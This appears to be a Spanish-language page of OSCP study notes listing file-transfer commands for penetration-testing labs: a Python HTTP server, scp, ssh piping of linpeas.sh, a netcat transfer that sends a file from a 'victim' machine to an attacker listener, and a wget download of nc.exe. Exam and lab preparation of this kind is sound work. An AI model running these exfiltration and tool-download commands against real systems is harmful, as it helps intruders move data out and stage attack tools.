> For the complete documentation index, see [llms.txt](https://spartan-cybersecurity.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://spartan-cybersecurity.gitbook.io/oscp-notes/sistema-de-ficheros-del-os/nmap.md).

# File Transfers Linux

## Transferencias de ficheros

```
// Iniciar Servidor HTTP con python3
python3 -m http.server
// Transferencia con SCP
$ scp file user@host:/path/to/file                        # copying a file to the remote system using scp command
$ scp user@host:/path/to/file /local/path/to/file         # copying a file from the remote system using scp command

// Transferencia por medio de SSH
ssh john@10.10.10.111 -p 22000 "cat > linpeas.sh" < linpeas.sh

// Transferencia con nc
nc -lnvp 443 > archivo.txt ==> Se ejecuta en la maquina atacante
cat archivo.txt | nc 10.10.14.7 443 ==> Se ejecuta en la maquina victima
```

## Descarga de ficheros

```
// Descargando con wget
wget http://192.168.0.1/nc.exe

// SI encuentras alguno de estos servicios utilizalos 
// para descargar desde el kali
HTTP
FTP
```
